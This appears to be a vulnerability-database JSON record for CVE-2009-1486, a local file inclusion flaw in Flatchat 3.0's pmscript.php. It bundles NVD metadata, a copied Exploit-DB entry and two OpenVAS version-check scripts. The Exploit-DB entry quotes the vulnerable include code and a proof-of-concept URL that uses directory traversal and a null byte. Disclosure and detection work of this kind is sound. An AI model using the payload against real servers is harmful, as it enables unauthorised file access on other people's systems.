{"id": "CVE-2009-1486", "bulletinFamily": "NVD", "title": "CVE-2009-1486", "description": "Directory traversal vulnerability in pmscript.php in Flatchat 3.0 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the with parameter.", "published": "2009-04-29T14:30:00", "modified": "2017-09-28T21:34:23", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1486", "reporter": "NVD", "references": ["https://www.exploit-db.com/exploits/8549"], "cvelist": ["CVE-2009-1486"], "type": "cve", "lastseen": "2017-09-29T14:26:36", "history": [{"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:ninjadesigns:flatchat:3.0"], "cvelist": ["CVE-2009-1486"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "Directory traversal vulnerability in pmscript.php in Flatchat 3.0 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the with parameter.", "edition": 1, "enchantments": {}, "hash": "fae650b18bdfe3da688e2aa7302b3d7e219f4e07f21e2d200e28b76b9153343e", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "fcfd15eb0265678c95b1d34e378a769f", "key": "cpe"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "feee7141a418a41c861e48c36ea38eee", "key": "references"}, {"hash": "ca2c28c2c5a80d3981082f0d4cbbc409", "key": "cvelist"}, {"hash": "2830e5a00065e26357e8274e56ddb2d5", "key": "href"}, {"hash": "ac3d3daf50df89f17a4b3013002ed516", "key": "title"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "46d78e72c304477310eb5e1b6dc89f3c", "key": "modified"}, {"hash": "622c0615e0318cae65d309794977813f", "key": "published"}, {"hash": "ea70a91ef60305ba2f1426fbfd0b7aea", "key": "description"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1486", "id": "CVE-2009-1486", "lastseen": "2016-09-03T12:20:58", "modified": "2009-05-13T01:28:00", "objectVersion": "1.2", "published": "2009-04-29T14:30:00", "references": ["http://www.milw0rm.com/exploits/8549"], "reporter": "NVD", "scanner": [], "title": "CVE-2009-1486", "type": "cve", "viewCount": 0}, "differentElements": ["references", "modified"], "edition": 1, "lastseen": "2016-09-03T12:20:58"}], "edition": 2, "hashmap": [{"key": "assessment", "hash": "6d3f4796275bb54c21a33b82f399cc6d"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "fcfd15eb0265678c95b1d34e378a769f"}, {"key": "cvelist", "hash": "ca2c28c2c5a80d3981082f0d4cbbc409"}, {"key": "cvss", "hash": "e5d275b3ebd62646b78320753699e02e"}, {"key": "description", "hash": "ea70a91ef60305ba2f1426fbfd0b7aea"}, {"key": "href", "hash": "2830e5a00065e26357e8274e56ddb2d5"}, {"key": "modified", "hash": "97ed09b36472790fbff003fdc01f2019"}, {"key": "published", "hash": "622c0615e0318cae65d309794977813f"}, {"key": "references", "hash": "38ecebe28e8efc332028a4f29dc4f285"}, {"key": "reporter", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "scanner", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "title", "hash": "ac3d3daf50df89f17a4b3013002ed516"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "c425471cf607991388b3e8991c26770b2fc70f05da67637a145358869025c3c6", "viewCount": 0, "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2017-09-29T14:26:36"}, "dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:8549"]}, {"type": "openvas", "idList": ["OPENVAS:800323", "OPENVAS:1361412562310800323"]}], "modified": "2017-09-29T14:26:36"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "cpe": ["cpe:/a:ninjadesigns:flatchat:3.0"], "assessment": {"href": "", "name": "", "system": ""}, "scanner": []}

{"exploitdb": [{"lastseen": "2016-02-01T07:37:18", "bulletinFamily": "exploit", "description": "Flatchat 3.0 (pmscript.php with) Local File Inclusion Vulnerability. CVE-2009-1486. Webapps exploit for php platform", "modified": "2009-04-27T00:00:00", "published": "2009-04-27T00:00:00", "id": "EDB-ID:8549", "href": "https://www.exploit-db.com/exploits/8549/", "type": "exploitdb", "title": "Flatchat 3.0 pmscript.php with Local File Inclusion Vulnerability", "sourceData": "##########################################################################################\n[+] Flatchat 3.0 (pmscript.php with) Local File Inclusion Vulnerability\n[+] Discovered By SirGod\n[+] www.mortal-team.net\n[+] www.h4cky0u.org\n##########################################################################################\n\n[+] Homepage : http://ninjadesigns.co.uk/\n\n[+] Local File Inclusion\n\n - Vulnerable code in pmscript.php\n\n--------------------------------------------\n$filename = 'users/'.$_GET['with'].'.php';\n\nif (file_exists($filename)) {\n include($filename);\n--------------------------------------------\n\n\n http://127.0.0.1/path/pmscript.php?with=../../../../../BOOTSECT.BAK%00\n\n##########################################################################################\n\n# milw0rm.com [2009-04-27]\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/8549/"}], "openvas": [{"lastseen": "2017-07-02T21:14:06", "bulletinFamily": "scanner", "description": "The host is running Flatchat and is prone to Directory Traversal\nvulnerability.", "modified": "2016-12-28T00:00:00", "published": "2009-05-18T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=800323", "id": "OPENVAS:800323", "title": "Flatchat Directory Traversal Vulnerability", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_flatchat_dir_trav_vuln.nasl 4865 2016-12-28 16:16:43Z teissa $\n#\n# Flatchat Directory Traversal Vulnerability\n#\n# Authors:\n# Sharath S <sharaths@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_impact = \"Successful attacks can cause inclusion or execution of arbitrary\nlocal files in the context of the webserver process via directory traversal\nattacks and URL-encoded NULL-bytes.\n\nImpact Level: Application\";\n\ntag_affected = \"Flatchat version 3.0 and prior\";\n\ntag_insight = \"Improper handling of user supplied input into the pmscript.php\nfile via ..(dot dot) in 'with' parameter, can lead to directory traversal.\";\n\ntag_solution = \"No solution or patch was made available for at least one year\nsince disclosure of this vulnerability. Likely none will be provided anymore.\nGeneral solution options are to upgrade to a newer release, disable respective\nfeatures, remove the product or replace the product by another one.\";\n\ntag_summary = \"The host is running Flatchat and is prone to Directory Traversal\nvulnerability.\";\n\nif(description)\n{\n script_id(800323);\n script_version(\"$Revision: 4865 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2016-12-28 17:16:43 +0100 (Wed, 28 Dec 2016) $\");\n script_tag(name:\"creation_date\", value:\"2009-05-18 09:37:31 +0200 (Mon, 18 May 2009)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_cve_id(\"CVE-2009-1486\");\n script_bugtraq_id(34734);\n script_name(\"Flatchat Directory Traversal Vulnerability\");\n script_xref(name : \"URL\" , value : \"http://secunia.com/advisories/34904\");\n script_xref(name : \"URL\" , value : \"http://www.milw0rm.com/exploits/8549\");\n\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2009 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_flatchat_detect.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_tag(name : \"impact\" , value : tag_impact);\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n exit(0);\n}\n\n\ninclude(\"http_func.inc\");\ninclude(\"version_func.inc\");\n\nflatchatPort = get_http_port(default:80);\nif(!flatchatPort){\n exit(0);\n}\n\nfcVer = get_kb_item(\"www/\" + flatchatPort + \"/Flatchat\");\nfcVer = eregmatch(pattern:\"^(.+) under (/.*)$\", string:fcVer);\n\nif(fcVer[1] != NULL)\n{\n if(version_is_less_equal(version:fcVer[1], test_version:\"3.0\")){\n security_message(flatchatPort);\n }\n}\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2019-03-20T22:45:47", "bulletinFamily": "scanner", "description": "The host is running Flatchat and is prone to Directory Traversal\nvulnerability.", "modified": "2019-03-19T00:00:00", "published": "2009-05-18T00:00:00", "id": "OPENVAS:1361412562310800323", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310800323", "title": "Flatchat Directory Traversal Vulnerability", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_flatchat_dir_trav_vuln.nasl 14332 2019-03-19 14:22:43Z asteins $\n#\n# Flatchat Directory Traversal Vulnerability\n#\n# Authors:\n# Sharath S <sharaths@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.800323\");\n script_version(\"$Revision: 14332 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-19 15:22:43 +0100 (Tue, 19 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2009-05-18 09:37:31 +0200 (Mon, 18 May 2009)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_cve_id(\"CVE-2009-1486\");\n script_bugtraq_id(34734);\n script_name(\"Flatchat Directory Traversal Vulnerability\");\n script_xref(name:\"URL\", value:\"http://secunia.com/advisories/34904\");\n script_xref(name:\"URL\", value:\"http://www.milw0rm.com/exploits/8549\");\n\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2009 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_flatchat_detect.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_tag(name:\"impact\", value:\"Successful attacks can cause inclusion or execution of arbitrary\nlocal files in the context of the webserver process via directory traversal\nattacks and URL-encoded NULL-bytes.\");\n script_tag(name:\"affected\", value:\"Flatchat version 3.0 and prior\");\n script_tag(name:\"insight\", value:\"Improper handling of user supplied input into the pmscript.php\nfile via ..(dot dot) in 'with' parameter, can lead to directory traversal.\");\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year since the disclosure\n of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer\n release, disable respective features, remove the product or replace the product by another one.\");\n script_tag(name:\"summary\", value:\"The host is running Flatchat and is prone to Directory Traversal\nvulnerability.\");\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n exit(0);\n}\n\n\ninclude(\"http_func.inc\");\ninclude(\"version_func.inc\");\n\nflatchatPort = get_http_port(default:80);\nif(!flatchatPort){\n exit(0);\n}\n\nfcVer = get_kb_item(\"www/\" + flatchatPort + \"/Flatchat\");\nfcVer = eregmatch(pattern:\"^(.+) under (/.*)$\", string:fcVer);\n\nif(fcVer[1] != NULL)\n{\n if(version_is_less_equal(version:fcVer[1], test_version:\"3.0\")){\n security_message(flatchatPort);\n }\n}\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}